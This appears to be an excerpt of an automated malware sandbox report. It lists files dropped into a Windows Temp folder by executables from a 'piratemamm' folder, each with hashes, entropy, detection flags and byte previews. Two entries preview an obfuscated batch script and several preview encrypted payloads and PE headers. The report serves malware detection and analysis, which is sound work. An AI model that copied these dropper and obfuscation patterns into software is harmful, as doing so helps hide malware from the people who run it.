Process:	C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.997317384264096
Encrypted:	true
SSDEEP:	1536:f5zdOEslIqxZANBLYpsDm5ULvz0A2nNhIcigypAr3:f5zdOEslIkKNBLYpsDFz0ASN94O
MD5:	FB6F9A5933FA68A15184363DD5F74446
SHA1:	FA310D04BDCB2578A5853BCD6CD24C5516EC93C6
SHA-256:	C10E2D896A120A8639B63836CB6F8D1229B9B3A063048D523AEC908DBE89D928
SHA-512:	867FEF1EAC107B757E11DF16C8C56347AE53F6D646A32F82EF7BAE6F2479F168404AFFB4FCC3E462D234C6344E5B13E0D04482C59F5FFE810396E1B67634E3B4
Malicious:	false
Reputation:	unknown
Preview:	.\....6.5......d.us..m5Q..S.Wa...3.P.._.....pN...t.CZ.....G..A.a..._.A}.._....I9.t.4fh...:..d.1X:.....]..P.Yt....l.....ZcP,.rE.7..iP.\.U..06.....G\|...F.........q.P.....`.~.j.J.t....3.NJ..T.MrBK..f..cGk {`...o-..i.j+]bc-4.;4EdXz.A..y.i0+..>..]..:.O..a.+f#.`HP.6.\|......./[..A.&.M....q.X......0S?..Rb.p.A....EBY.......vSO".a...Q'S..?.......Ng.e........._..?~.].......O2...j....... 7.%{.w...+...1#..}.\|.n..?&..=.....^N4>\|lI^.q..]..Q@<...4...............LR..{........X..4L....jB.......;..D(.WT)P.. ....s...4.......4...Hid.....KQ.#.t...C..D5.....Q.K#.D:..Nn../K.F;e..Y.u3<...s..?#Ru..:.4.H../..0...,.?.Y....Z....O.fv.!..&...5....Q.u...S.k......TP..F....I....X.B.6...(>.!H.-....N...\|`.knf.w.1..s.....KO...BK(...r..~.6..7..".'..I."Oe..^.d%.,YP.....6.........jw........T.-8..4XH......}...0;..w......XQ..zM.....w.....~...h..0E..ky#...qa....@.W'\|........G.>.T.a<f...{....}.~..uW.A.u:..\.."..:.....M..`...5.sZ......{....Z...}...T...TZ...=...g..B8 .....Y.

C:\Users\user\AppData\Local\Temp\Enhance

Download File

Process:	C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe
File Type:	data
Category:	dropped
Size (bytes):	53248
Entropy (8bit):	7.9962856544396965
Encrypted:	true
SSDEEP:	1536:+bm5jMZrmDdpl5g2tT0n4KrxJGCzc7I37JPAKhD:Um54APK4o637aZ3hD
MD5:	C6C6FE2E474E578653C09B030907E565
SHA1:	8698F666180B9F631C366AC8DB18F32B368979C4
SHA-256:	DB6287FCBAB462DFFD250BE2A27A75F49248C0428537A24125801A80F136669D
SHA-512:	4FD27F6AF4A25FD382466EC3A7975D6F50208D6F6D662CA011BAE175E4BF77C74E901E754993A1EA52E0FF94A48169FAC441961F877D5C37918F94A67737850D
Malicious:	false
Reputation:	unknown
Preview:	...... A}..~D7...6f...K..d...i.........].}.9.7;..b..TF.S..n../..G...X..&4.)...UO2.q..eX.X..X.m&Ja.d.>...f...?..S....Qm.W.\...3\(.d....jap..G.>Cn}.I..t...d.....O..!...!..P..TT..Q..GC.[F.(N\|./.\|.@...@..E.Y.frBfR..U.9.....#...p1.&.......i....ha... .G3NrK...O..U.s-U\|y.<.....'v;.._.i..../.z....@..7.YV[.v.G..N9..Lc..'....S...z....n$...4.h..I...)..I."6%."...yDc...a.3LB...$.h..U`..8%(.(.....8.O.t.pC2...".IK.c.u.T... .%\|.....];.......Y&....F.pX."....P...O.........$..-./....<C@Y...j.&..2..jx.O..# GS@g..g.....ac.P..z..{'.?Se.l<\|p-..urT..)IG....K..._..S..y....&....b....NS\#.2?.Y....g.ufy.d.b.I.R.j..C............@..Q8...V...z.<..O.....s........}....,..a...)E.1..\|.oo...#..q.$.G..k..#........X../.t)..c.8t#.\...i.H...~l.r..S.60..q..[....~\0\V.Q.JB.<p.s.....n.'...pw...V'.=..=S.Q.D....(,#..b..m.:.......~.....e)...rf'....../.......;W..u..#c..E.e.......07..].W.N..f...2@.'./.....s].B...+K..-.>....P..r....p......h.b.h.#QA:.k..P.o.a.:.!

C:\Users\user\AppData\Local\Temp\Everything

Download File

Process:	C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe
File Type:	data
Category:	dropped
Size (bytes):	71680
Entropy (8bit):	7.997108429898175
Encrypted:	true
SSDEEP:	1536:Jh79hPC9eMVup3EoWB7LAzTQoss5nwWFlMj6t+zPp:p9C9bqEj7LOwi3FlJ+7p
MD5:	AC4E1FBAF6EB5121395B540E66B38A99
SHA1:	D2C2BB7F854864E2FFBFBE4CCA0EBD94BA28E39A
SHA-256:	C747FEC5DA91AF3C73F0F3FFEC58882F22E66CC8C31D1533E06EBA2E88A1AB9E
SHA-512:	1CDAFC7F4218A3EB607D51B28AABD887AC76CDA8E4AC5CFA0034F3B0B89E570D2A99FB46E5E10B6463E156C0C430AF41ABF98D1101EF8CC66EDA545C21343128
Malicious:	false
Reputation:	unknown
Preview:	..9.Z..ovq.I....GZ.....fS..l..`yZx....H.'kj.3k.B...B..'.+\| H.$#+'b.t..n....Sd3z..6O.Db......Z....n.fnLa4\..O...>2.".,.!2...*........>....v...R.=C..\h...n...P.._"..........Er.P...B`h.AW..X...{...z...IU..RM..o:sK.....kL0...U.?......[.8.N...V.H(.p..A...h.&..A.....9.F..N...H.j..u...I(.M'Uu.}....?M.S..K#8..md.2\k(Ky..{.)?....`7......<i..;r..../<....-...IK.Fd..6.8......>.\2..g...$.NA..5. ..F..u..M.-......^.&...w.[z0.......:..Q........'\|.4..0w.u..b.Me......./.....Y... >F.....Y.o..=..J....i9..~f...["..P..[.P.I...V..6jH..9...1.D3D!5-%d....>.\|...jI1.w..H@\.e<.g..}.R...B..,.F..R.' ........}o0..->.......L0ed......\z....uz..V....E. ..}...c.P.i.._...Y....@.x....a.!_S....r.U...x&'{...;!.....ZT.......8JE0VQ.B\ie.0.>.+.w..i4.#P)U.L{.4..'.........}..p.F..F^.U..a.d.U.J.p.\...1..<x.v..SB..L.x.yb.......J...2...7j.0..hRd.+..:...iC+.K.q.o..@....K.E)..._r/._. .S.....d.!..@.............F...Q....n..S.M"~..5.,....q.......ds..t...}^ 5.Ixt.R.3.D6......i.

C:\Users\user\AppData\Local\Temp\Exhibit

Download File

Process:	C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe
File Type:	data
Category:	dropped
Size (bytes):	521
Entropy (8bit):	4.362397676251669
Encrypted:	false
SSDEEP:	12:/uyGSGCbTQxbs/0pQHPZdsLq6h1b5zGb1:2yGSnPQxqtPMLqCj81
MD5:	5AFC7229CAF4095825DBF15BEFD37493
SHA1:	BA1096E7690B22C55B6AFDEA14B9EAFD14AF7097
SHA-256:	E7CBD4083AACFE6FA4D5C45C6D6E621417AA11860ABC41478D56AE6248D8A0B1
SHA-512:	73202A3FAF248A73B62C88746C5785EFFCDF30564B4AFD2C4E9A3C6A24CF08B55E4A6FD35339C2A258981013DD0343CD62F64D247FD3180BD0B79FFC646E97FB
Malicious:	false
Reputation:	unknown
Preview:	HampshireRangesScholarsPodcasts..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@...

C:\Users\user\AppData\Local\Temp\Heritage

Download File

Process:	C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe
File Type:	ASCII text, with very long lines (1277), with CRLF line terminators
Category:	dropped
Size (bytes):	23776
Entropy (8bit):	5.044070596285849
Encrypted:	false
SSDEEP:	384:OrqonALgvkbgi9eWUL0+/p5gJpKMxDvRkvDxtHM1mYHHTx9R0I/3QQu11u9kRFDj:OfnAL2En+/YpKUCQAYHHV99uW9kRN8Lk
MD5:	EE3A7EFB4D01BB1B04E4C9CCB333C044
SHA1:	93D69DC0B27D0334176E60BABE362D7CACB3369F
SHA-256:	71F4148C94BB24A35AC080121A3BCD09AD45007B19D0235296385694703DE26B
SHA-512:	B31A29CAB9D03BAEC7387D1ABA0176DDADA3AD35BE9497FC2DF178F45C566C67FBEAFF74E3648214362F8FABF6C1EDC48536F5005E7CA6E2EF999574B09B0F52
Malicious:	false
Reputation:	unknown
Preview:	Set Donations=t..qcFCn Distributed ..nwAEaster Concern Tracks ..hFFtAcross Vault Lab Valuation Fcc Downtown ..ZXDCTheft Multi Worm ..QToMIct Thriller Locked William ..LvfCathedral Characters Columbia ..brPeer Schools Thing Greece Humidity Lf Into Wales Weblogs ..FWeRan Instructions Forever Derek ..Set Mode=7..YWDvPamela Humanity Greatest Become Standings Calendar Transmit ..pthsTries Hypothetical Metabolism Acne Admitted Brake League Digital Syracuse ..KQPAfternoon Until Practices Struggle Father Video Reflects Switches ..DUJason Accurately Bound Dist Orgy ..qsObvious Headquarters Violin Traffic Individuals Under ..Set Illustration=0..KhDepartmental ..ZmjVCommands Aquatic Halfcom Wrapped ..nGChange Nv Sd Kiss Separate ..jcBUseful Temperature After Emma Bread Aerospace Supplies ..AjySaddam Graph ..GiCost Ho Specs Independence Signatures Hygiene ..ikInvolve Miscellaneous ..mnElectronic Analog Freebsd Td Unlike Gibson Buried ..YxxSpas ..Set Grow=D..dHBooking Textile ..rEqSelective Petite

C:\Users\user\AppData\Local\Temp\Heritage.bat (copy)

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1277), with CRLF line terminators
Category:	dropped
Size (bytes):	23776
Entropy (8bit):	5.044070596285849
Encrypted:	false
SSDEEP:	384:OrqonALgvkbgi9eWUL0+/p5gJpKMxDvRkvDxtHM1mYHHTx9R0I/3QQu11u9kRFDj:OfnAL2En+/YpKUCQAYHHV99uW9kRN8Lk
MD5:	EE3A7EFB4D01BB1B04E4C9CCB333C044
SHA1:	93D69DC0B27D0334176E60BABE362D7CACB3369F
SHA-256:	71F4148C94BB24A35AC080121A3BCD09AD45007B19D0235296385694703DE26B
SHA-512:	B31A29CAB9D03BAEC7387D1ABA0176DDADA3AD35BE9497FC2DF178F45C566C67FBEAFF74E3648214362F8FABF6C1EDC48536F5005E7CA6E2EF999574B09B0F52
Malicious:	false
Reputation:	unknown
Preview:	Set Donations=t..qcFCn Distributed ..nwAEaster Concern Tracks ..hFFtAcross Vault Lab Valuation Fcc Downtown ..ZXDCTheft Multi Worm ..QToMIct Thriller Locked William ..LvfCathedral Characters Columbia ..brPeer Schools Thing Greece Humidity Lf Into Wales Weblogs ..FWeRan Instructions Forever Derek ..Set Mode=7..YWDvPamela Humanity Greatest Become Standings Calendar Transmit ..pthsTries Hypothetical Metabolism Acne Admitted Brake League Digital Syracuse ..KQPAfternoon Until Practices Struggle Father Video Reflects Switches ..DUJason Accurately Bound Dist Orgy ..qsObvious Headquarters Violin Traffic Individuals Under ..Set Illustration=0..KhDepartmental ..ZmjVCommands Aquatic Halfcom Wrapped ..nGChange Nv Sd Kiss Separate ..jcBUseful Temperature After Emma Bread Aerospace Supplies ..AjySaddam Graph ..GiCost Ho Specs Independence Signatures Hygiene ..ikInvolve Miscellaneous ..mnElectronic Analog Freebsd Td Unlike Gibson Buried ..YxxSpas ..Set Grow=D..dHBooking Textile ..rEqSelective Petite

C:\Users\user\AppData\Local\Temp\Kept

Download File

Process:	C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe
File Type:	data
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	7.998265686160575
Encrypted:	true
SSDEEP:	1536:nSuCFZe2jb1DgtQU6madYJshURG0tcni2EMBRqjZeSKRaJ6WVZUqMBQ4Vau4Useh:SpbjtIQBdYJP9t/2hmiRa4WVZJMm4EHW
MD5:	1907385FF9BC97C2FFDE248BD913FFB2
SHA1:	01E8B5D3831AEDD4DE6DB3242B22B5B62A588E52
SHA-256:	4132EC7F7053930842FDF109B944306698087960439ED34C0EA4AF8D72E62DED
SHA-512:	C5F9027FF61952353BF423ECE60348BA31A8D7B056ABEEF99708E29AC8199BCD2035F4BE2A411ACC4FCEDAAA7DF481BB1E031C632935CFCCF110FC5AA6361CAF
Malicious:	false
Reputation:	unknown
Preview:	..?..~.......q!...J.V...!;...R...o.m...HRS.....!/.}.1vG...C.H3(.(.I.A...O.b...&.M.d......J...P.....c..M....fn.H6..s..k&..H":H.J"......w...z.F.eWB.\..o...xj.3F..\|..pm.....M._..."r..(.L.J.bui.@.).Un.4...ay.Sq...0......Dm.aZL..t..6....B.y..Y.......}..P...$.Z-...[.r.:.G...y...3.T'_.=.78X2...9B+QI..>~.ib..3--r[.0,.......n.......bOR.\B...o.......>.y.;5V.].;A.....re..^.......E.;qS....#...L.......k.ow.5....W..E.s/.?..4...b....\|..;j.4..O.......KaA .....:...t....$vU.....<{...)...v....+.?...".4B.....JLr-,....H..L<,T.......Q..Q..E..iK..D.)&......[w..r.....r5;....)t......?......8.5I.H..?.b....L+.ej..nZ......T....h.w;>..Bh..;.u.....!.._..e..=e/.5..Ng...k..?..~%.;.p...'.....6):.P..N..9%..C.u.P2.NN...u.-.6...L<.+......8......!.&......MM.n...l .L.._..{r........'C...J.I...i..~,....%....-\D....tW.}.w...^.%G..5..4\|.xu..........HJg..s....C...2..L.K}R@.[..;.=...PJ\|..b......#..r{>.o.3.+...>fT.....3..'..^fN.s..[.E..{.>.Koq..E..[i.TUu.b.B.....&.

C:\Users\user\AppData\Local\Temp\Llp

Download File

Process:	C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe
File Type:	data
Category:	dropped
Size (bytes):	100352
Entropy (8bit):	7.998071355523302
Encrypted:	true
SSDEEP:	3072:9i53dZ0Dyfn9wDU+JSN4doPLr867L0Q5lQBhT:9i53dZ0mMON4dojr7cBh
MD5:	B1BE05ED7B57F24B0004276747520E23
SHA1:	8F41AD51EEF21727562136DE08AFECBDF51E1635
SHA-256:	DC71AA99D951B08EA1C0F886D0146D5AB1A4C031AEB692CB6B7EA92DA80B2C38
SHA-512:	8747326A12820C04D4F268B063E11A84E71BE47B9750AD0A8CB0325F24C0AD386D385D5D0A7CE4E81F984523DFAA6E9F26BC2E8BD226310974084E4D581DCFCE
Malicious:	false
Reputation:	unknown
Preview:	....%qH.pPDl..h.X?...s..........A. .F/[=...R.;.f.._4^......Z...&&.7N.n..\|...TT.X<^..-...S...`.~I.p,I.j.F.....1M..."..........".7...(.T..GPU..w.@..~[>.v.8Xo.f...p..M$.0K.{.....Q.5Fa.e.m...b.)..}..@..3..z.P:...sv......3..R..E[....V....l..Eiw.b.#..D.a.]wI.oz....B1.H...?K<.r....=L.{.w.#..4..f.....K..K.!. ..0.\|...t..8.dn.[....0.....S....u..u.....T..Z..9.-J....M)N..H.`>W..5E..d.t{..$..^......'...7sA7X..u...I9..4..)..}...f7...W..v...HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..!..)98O...,.XOg;Mm.=..A..FPWW.....Y...$c..F.Kx...i..f3.H....2)...<.9.m....&...4....Rq...A.<.'.F...h..................\.......\..kC.R......%x....}...q..U-...(....%....V..?p.hf..........@.#....{'.l..v..)~.K....dC`:.......c!.).A.&!0..~..}..h..w14.h.%.!4.A...V..+}.,{{.s.x..K....V.E...`.[..r....&..,P..Myn.2..t.W...............w....Ly.......\..m.........8.5...x..2).U.j.....>. #.~..........hw..}.k..-.......

C:\Users\user\AppData\Local\Temp\Neo

Download File

Process:	C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe
File Type:	data
Category:	dropped
Size (bytes):	892629
Entropy (8bit):	6.622545718722573
Encrypted:	false
SSDEEP:	12288:HpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:HTxz1JMyyzlohMf1tN70aw8501
MD5:	44F893AC56AB6A3DACAC37928E513292
SHA1:	BDDFD7E26C070315A52AED66C58660AB972DDDF7
SHA-256:	8959FAFFF952490148BCDB0EB16F8D73CCCC82332BE950CDE0DDF47FE045CE23
SHA-512:	775F8A39FC4C60E7BBD5035D8A52038A0C741FADCBCFE8297E418AB977E063DA34D61B48BB0EC84299E3312CE33E6CB133FA953F0B393F77842EF9716E8F921E
Malicious:	false
Reputation:	unknown
Preview:	..............................................DaL.....h..C..\...Y...L..h..C..K...Y..N..h..C..:...Y.h..C......Y..<C..h..C......Y.....h..C......Y.Q.>...h..C......Y..sL.Q.@...sL.P.9...h.C......Y..G..h.C......Y...(..h.C.....Y..4..h.C.....Y...L..2...h.C.....Y................SVW..j.[..l............Ky.Nl.....N(....V.;...Y_..^[...SV..3.Wj._.N...N(...^..^..~..^..^..^ .^$.......f.^8.Nl.F:..^<.^@.FL.FP.FT.FX.F\.F`.Fd....j....................F\|U............[...U......Ky......3........................l.....p.....t.....x.....\|...........................f.............................................................._......^[.U..QQ.E....I.Pj.hD.I..............f.}.1.....].U..QQ.}..SVtr.u...tk3.3.f...E.Pj.SRQ....I...uQ.E.W.<..E..}.PVSS.u..u... .I...u..E...E.;E.s.3.f..F...u.....I..._^[..].3.f.D7...2...U..SV..j.[.F.9F.u0...j.X;.sL3.F...W.......Q.....~....Y......~._S......Y..t..M......N..F.....F.^[]......3...V...N..V..F..4.......F.Y.N.^.$...V..W3.9~........f.._^.V....h.I.....

C:\Users\user\AppData\Local\Temp\Papua

Download File

Process:	C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe
File Type:	data
Category:	dropped
Size (bytes):	893120
Entropy (8bit):	6.620750267793734
Encrypted:	false
SSDEEP:	12288:KpV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:KTxz1JMyyzlohMf1tN70aw8501
MD5:	8DB77745F37A0A067728D621603C7CAE
SHA1:	E3A1BF4C37D10434642C31C0435DA28F7EE30DE3
SHA-256:	1335802132D3A38D17319AC6A5D3662820C30A50ED75A5D094CFF5E1CCDE687F
SHA-512:	BEDFEC2197D9D22EB692F34413AF1F37B3CB057A1D2929D2835D0D4E24103D101178370B2717DBDB38FA6C5D125698AC4F74FD934BF6DBE35A3AE1A9EB75F607
Malicious:	false
Reputation:	unknown
Preview:	.........................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B.........................................................................................................................................................................................................................................................................................................DaL.....h..C..\...Y...L..h..C..K...Y..N..h..C..:...Y.h..C......Y..<C..h..C......Y.....h..C......Y.Q.>...h..C......Y..sL.Q.@...sL.P.9...h.C......Y..G..h.C......Y...(..h.C.....Y..4..h.C.....Y...L..2...h.C.....Y................SVW..j.[..l............Ky.Nl.....N(....V.;...Y_..^[...SV..3.Wj._.N...N(...^..^..~..^..^..^ .^$.......f.^8.Nl.F:..^<.^@.FL.FP.FT.FX.F\.F`.Fd....j....................F\|U............[...U......Ky......3................

C:\Users\user\AppData\Local\Temp\Para

Download File

Process:	C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe
File Type:	data
Category:	dropped
Size (bytes):	1011
Entropy (8bit):	3.200344146341136
Encrypted:	false
SSDEEP:	12:Imkd5yGSGCbTQxbs/0pQHPZdsLq6h1b5zGbWCBl9dte4:IfnyGSnPQxqtPMLqCj8WCBl9dte4
MD5:	D3C964C6EA585D3E9B35832FDC06FDB4
SHA1:	3CB85C5EBE13F948BE849DB25982F19D0B21A05D
SHA-256:	8B7E7F699E440F6E42AC2AA48E3504DC1C2ED6FC6E7A98E2498D99DCC79E484F
SHA-512:	37DE8D3542A6F6D15849774ABDC35B654A52722605E906145017445DE8686B33BBEF4E6B48AD2BD9ED475751CAB29BD42E8C250B5DD00BBD8E17EA42A5ECF76F
Malicious:	false
Reputation:	unknown
Preview:	NorwegianLivedJerseyRelaxation..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe

Download File

Process:	C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3058688
Entropy (8bit):	7.736687471087767
Encrypted:	false
SSDEEP:	49152:0ZtPveU3miDZ7Ip3nPAo/4kDaJXupYeZ7StUoZDMT0bUW8O:AtPveU31yf3/4IQUYrt5MqUR
MD5:	D4AC1A0D0504AB9A127DEFA511DF833E
SHA1:	9254864B6917EBA6D4D4616AC2564F192626668B
SHA-256:	A29C9EBECBE58F11B98FA8F685619E46BBE0A73CA7F770A71A14051AA0BD9848
SHA-512:	59B707D1C4F3C66337EC2F913DE4B3506786A31108FC621BDBE7201490E91B0F7B70505763F71D53EEE0EAACF477DC6EF9CD50769881654DAF1B678EAAF994C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....F....................,...........,.. ....,...@.. ....................... /...........@.................................`.,.K.....,.\...................../.......,.............................................. ............... ..H............text.....,.. ....,................. ..`.sdata........,.......,.............@....rsrc...\.....,.......,.............@..@.reloc......../.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Powerful

Download File

Process:	C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe
File Type:	data
Category:	dropped
Size (bytes):	97280
Entropy (8bit):	7.997963541459738
Encrypted:	true
SSDEEP:	1536:g/PEcI+f+ymwSXh3AGO/wjiXr+1h6v9hNhHdXcIT5VP+Kyf9bN8z41M1RpWwPjJq:g/PEH+GkGKlXr+1h6/zWDfT8+uLPjMI6
MD5:	FC73C25541CFA8AC7A46FCCB525F0CFD
SHA1:	F83352A81F0F14546365F4C18D155233F4584D14
SHA-256:	0A887AA261CBDAB920C9FB983F20906A046115C1C40E2BB986823AE4EF4AA408
SHA-512:	29BD51B706FCB7D075D85550926A33BA70269570B052C3D34297BD06AC652B1DC95C174E1E860DF97DF47171AEF9AC3E8F552129E74690D4450E662E881B6CBD
Malicious:	false
Reputation:	unknown
Preview:	.<.3...F..O..Z..3.v........"./Z.m.u<.7..)# .Y..6...3.f.K{H.]..A[..J).......#c2zY6.J@.. W....X..).<...vdh]...B."}.S &.r...Oh.7...I...(....1.V.,D.Y.5.~.M...^........a2O......ma....j....;.......e]=..]..r.k.N.D..p.Yc\|G......z2.0V....../.l..@.vw...:...V..w(....\|--\|.....5..S..Qb..Y#h<...6...........w/..Mxt....3.=.<.....vi.....H1.vn..>.-[...S.>].()..V.#.A.~TAg.U..<.a..<.?..Z..^#..h....Bn.....z...5Y9.yPv.6H5<.+...Q.1.....w..SS...{ d..'1 Afw-..#Il.......U..I.{.6........WSV.X...V..Xc.............wJ....s({.S...5>.!=...&.`..5...P.\...Y..9.!..<S....i}...~....9.N.3..C..I.C......!V.Hr.:.{S.!.H.......F..A.?(...N..`).~het@....C"w.b._(....[~.rMp..a.4...... 0.."..N].Z.V%9.Y...1.Lfw..49)......E..r..o.C..k..>....xd...~...dE..l...N..9-..s.^l}..mv\|1...[.b..&...4Vc.O......R..r...SFZ..eGme.Z..;.;f...j ...........c..8 n.FM....h._....L.qY.&..*)...xF..j..h2...S....ux3..Z.L.%...Q.B..;r.=...S..U......JtGh.fwL..=..T/.1.r..\|........T]U.;N\|N.u.....^]..e....c.5."..

C:\Users\user\AppData\Local\Temp\Say

Download File

Process:	C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe
File Type:	data
Category:	dropped
Size (bytes):	21929
Entropy (8bit):	7.9917254746338
Encrypted:	true
SSDEEP:	384:2Yli0yKpahDnvZyyrj1QyGvAsJU46l558h5DCjPwl9gBVU6JVjeCffM4Mp:dc0yKmnvZymMJU46l/y5DCjCQ5VKCff4
MD5:	F0BB9C59AA330F8B9A273AF5A13B2B17
SHA1:	9953AC1402C4556046C37B7B0A818C1C920C0154
SHA-256:	DBB97494D51748E748F8528BEFA8097C83107BE9F24D96EAE3D437220DBEF324
SHA-512:	7FED666274E66461F2692C5CFE7F643C9D9E931F2262D18D0518299BCE5973F9907DB6BF0EC24A2AA659F7772E6A9C42A8F4882EBEE7EA2E09E4A1FF7D57DAD1
Malicious:	false
Reputation:	unknown
Preview:	.x....F.....(....:.........BNY.....6$+..\[c/.!i.....`.'M.^.:.......5..,MS.4bt..W.T...yE-..'..GF\|.Q.9....i....<.~..T....+t..L.4.....t.c.I\|....hM..U.\|....1V.j...... .3.Z.Yi(.U/.o`.....6..r.......[.TP..X.1.]...Rz.&.h.@..g....4..>...U....G......,...6..v$<g...Ti.c.4^..G(k..7C&,.qB........uB.....7...\..L".....6.S....0..........]w.{e..(`.O...Q.@...&.......do...Y.3....O..(.=..PE..SH....0.9h..IB..W.....+K.;p...Y..;...z..AO6.@p.V"h._....:..;^cA...W....y.%.Aq.f.D..k.^.X..k4.....4y:.=i!.94.....#......D`.%.<.Mh.j..[.9....G^...;..d.}..j $.....x._...KJg....[..-K..p..\_..?....Q.9#<?2.Q.V#.E..X....K.\...i'..Q..T.(..._..ib4..5.i2...w....#.y.{..'?v...E..)..E..o3!.e...O6.E..X.^....f.so.y.....w.V.o..[W.I...m...R%G...j.W.e... ...Yd.......7:c......j./{S..'@......m<x>I...m.N0...I..-..&...O#p@p.......3-.i.f..YA..m#...h..L..\.......~...G...[.$......H..wF.E....Q.....*....Lc;.Q..\...U4.F;.$..KQ..%.g.".}o....c\|E....>.W,.we.....s....IU......E..^e+.S.Mw.&3.....sL.

C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe

Download File

Process:	C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1312792
Entropy (8bit):	6.788056062689588
Encrypted:	false
SSDEEP:	24576:NpzWZ5CkBgB9IxAr7BptfYfG1inqCi2BZbqvWmAUlddWdBMTvNisj273HY:85CkyBbr7vbgHi2HAYwT1H274
MD5:	58717509C1521EACFCC7CDA39E6BD45C
SHA1:	5102DC3A82E8A2710AC67521F85F43F5296B5045
SHA-256:	D76D0650B630FDB70756A446E0A43672B5DA1C2A74014118B02133923305DA9A
SHA-512:	C637C2960B8A0BC111B408AF05A0879D9A10F05D802EE7B8B9F115CB54606F76F4475375CECFA9FDB0518BE0340B2C5BD23F8FE100DC21DB88287A9227C0E69F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...{x.`............................$.............@..........................P...................@...................@..W........@... ..D!...............B...p...............................`.......................................................text...x........................... ..`.itext.............................. ..`.data...............................@....bss.....................................idata...@.......B..................@....edata..W....@......................@..@.tls.........P...........................rdata.......`......................@..@.reloc.......p......................@..B.rsrc...D!... ..."..................@..@.....................D..............@..@........................................................

C:\Users\user\AppData\Local\Temp\Slightly

Download File

Process:	C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	99328
Entropy (8bit):	7.997977134586496
Encrypted:	true
SSDEEP:	3072:rlNCLpfqha3+L0DFkYqwBmiMBGm+CTE5Ll8+QXOZp:ralqa+ADGYqwBmilm+CbHXOZp
MD5:	3A90362515761941660FBB96219F9FE0
SHA1:	8C4386F0BB80EFF84A96CC25EAA85F2DFD121679
SHA-256:	C942FB8755A8F61585F06AF8CE2B1E9FCF8D88D45D6C80DFF7F523C24BFB543E
SHA-512:	F4D165CE35A349332D6F5B68976A0735B90648F89C27F14BBABE3562C82AE233849886DFF663E22D5A10440BCDE8672CFB095EA7DAC235BEC9FCA6ACA22744D5
Malicious:	false
Reputation:	unknown
Preview:	.S......Avj.6....wv....a.....q......75..4^g..y...z.T.......i......:.eN.{}.C99Z!#.].Q.L#....R.O..\.b.Lw.....A..vu.#.?{1>".vH.....}.2.$..H.....f..)]V7-..]..0..=q5...Ff`H&~....T..,..J.R..Wf....qP....F0..1`.. ..".F.....~h=+pr..9L..J.g..............UU......@x!.......[......o...q4PQ..'....bluP......d}..P.O..G./.m.....QJ.X.N..jT.<.`..Z3.1-.>...pl(g.0n...';.Su....A..* ...14..f.S\|.:\H..5l....5....V.8..m...c..8>3q..w..}`.....g...;..a.....4]%.u....A.!. ...AE..l..]..($.....V,.]......OmI.F\.....\|.~..y.rEGVz}U<..zh...kZ"....Yn.U..{v&.U...C#t.#.....( u..... ......n..... p...P"...\|..e..J.]>..Z<vA...1...ZZY.">..1.^....7....{"3......@.>U.......U..]..@...eO~p.o...^g[..O]jh........\.....\.m...Z...."\|wJ..c.j.d3E...SDQ,...!2...7V....X..[..)Z..e.>%...~.5\|.>.`..`.]...Qo....O.5.n...Z..>.../."...M..<\|...".C...v..Z?.'.W\.R{.r`..-...3..X.PX..'B.....W...;..........X......t7..,...r;...iy.UZ......<......MHX..U..Z...H}.2.&.d.?H.D.._......0...."Fr?......v.:......

C:\Users\user\AppData\Local\Temp\Sources

Download File

